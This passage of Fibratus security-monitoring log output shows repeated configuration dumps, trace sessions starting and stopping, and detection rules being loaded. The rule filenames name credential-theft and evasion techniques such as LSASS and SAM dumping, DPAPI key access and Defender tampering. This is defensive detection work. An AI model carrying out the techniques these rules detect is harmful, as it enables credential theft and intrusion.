elasticsearch=>[ bulk-workers=>1 template-name=>fibratus timeout=>5s sniff=>false trace-log=>false flush-period=>1s healthcheck-interval=>10s gzip-compression=>false healthcheck=>true index-name=>fibratus healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false] amqp=>[ durable=>false exchange-type=>topic exchange=>fibratus vhost=>/ tls-insecure-skip-verify=>false routing-key=>fibratus delivery-mode=>transient timeout=>5s enabled=>false url=>amqp://localhost:5672 passive=>false] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false fastscan=>true scan-timeout=>10s enabled=>false skip-mmaps=>false skip-allocs=>false excluded-files=>[] excluded-procs=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:18:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:18:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:18:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:18:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:18:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:18:59+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:18:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:19:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T17:19:00+01:00 level=info msg=bootstrapping with pid 14600. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:19:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false port=>25 to=>[] use-template=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true buffer-size=>512 enable-dns=>false max-buffers=>36 flush-interval=>1s enable-handle=>false enable-net=>true enable-threadpool=>false enable-thread=>true enable-vamap=>true stack-enrichment=>true enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-audit-api=>true enable-registry=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text max-backups=>15 level=>info max-size=>100 max-age=>0] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ exchange-type=>topic passive=>false exchange=>fibratus routing-key=>fibratus timeout=>5s vhost=>/ tls-insecure-skip-verify=>false delivery-mode=>transient durable=>false enabled=>false url=>amqp://localhost:5672] elasticsearch=>[ gzip-compression=>false sniff=>false healthcheck=>true enabled=>false bulk-workers=>1 healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] trace-log=>false index-name=>fibratus flush-period=>1s template-name=>fibratus healthcheck-interval=>10s timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ enable-gzip=>false serializer=>json enabled=>false timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false method=>POST]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-allocs=>false enabled=>false excluded-files=>[] excluded-procs=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:19:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:19:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:19:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:19:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:19:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:20:06+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T17:20:06+01:00 level=info msg=bootstrapping with pid 3988. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:20:06+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] enabled=>false use-template=>true content-type=>text/html port=>25] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-dns=>false flush-interval=>1s enable-threadpool=>false buffer-size=>512 enable-mem=>false enable-audit-api=>true enable-thread=>true enable-handle=>false enable-fileio=>true enable-registry=>true stack-enrichment=>true enable-image=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true min-buffers=>16 enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 level=>info log-stdout=>true formatter=>text max-age=>0] + output ......................... [ http=>[ endpoints=>[] serializer=>json enable-gzip=>false method=>POST enabled=>false tls-insecure-skip-verify=>false timeout=>5s] eventlog=>[ level=>info enabled=>false] amqp=>[ tls-insecure-skip-verify=>false durable=>false vhost=>/ passive=>false exchange-type=>topic enabled=>false url=>amqp://localhost:5672 exchange=>fibratus routing-key=>fibratus delivery-mode=>transient timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] elasticsearch=>[ gzip-compression=>false healthcheck-interval=>10s bulk-workers=>1 timeout=>5s index-name=>fibratus flush-period=>1s template-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck-timeout=>5s healthcheck=>true enabled=>false sniff=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-files=>false fastscan=>true skip-allocs=>false enabled=>false skip-mmaps=>false excluded-procs=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:20:06+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:20:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:21:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:21:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:21:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:21:57+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T17:21:57+01:00 level=info msg=bootstrapping with pid 16308. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:21:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true port=>25 content-type=>text/html to=>[] enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-threadpool=>false flush-interval=>1s min-buffers=>16 enable-image=>true enable-mem=>false enable-registry=>true enable-dns=>false enable-net=>true buffer-size=>512 enable-thread=>true enable-handle=>false stack-enrichment=>true max-buffers=>36 enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-backups=>15 max-age=>0 log-stdout=>true formatter=>text] + output ......................... [ elasticsearch=>[ timeout=>5s template-name=>fibratus enabled=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s gzip-compression=>false healthcheck=>true healthcheck-interval=>10s bulk-workers=>1 sniff=>false trace-log=>false index-name=>fibratus] amqp=>[ enabled=>false exchange-type=>topic delivery-mode=>transient url=>amqp://localhost:5672 tls-insecure-skip-verify=>false timeout=>5s durable=>false routing-key=>fibratus exchange=>fibratus vhost=>/ passive=>false] http=>[ serializer=>json timeout=>5s method=>POST enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false endpoints=>[]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-procs=>[] skip-files=>false skip-allocs=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] enabled=>false fastscan=>true skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:21:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:21:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:22:54+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:22:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:22:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:25:46+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:25:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 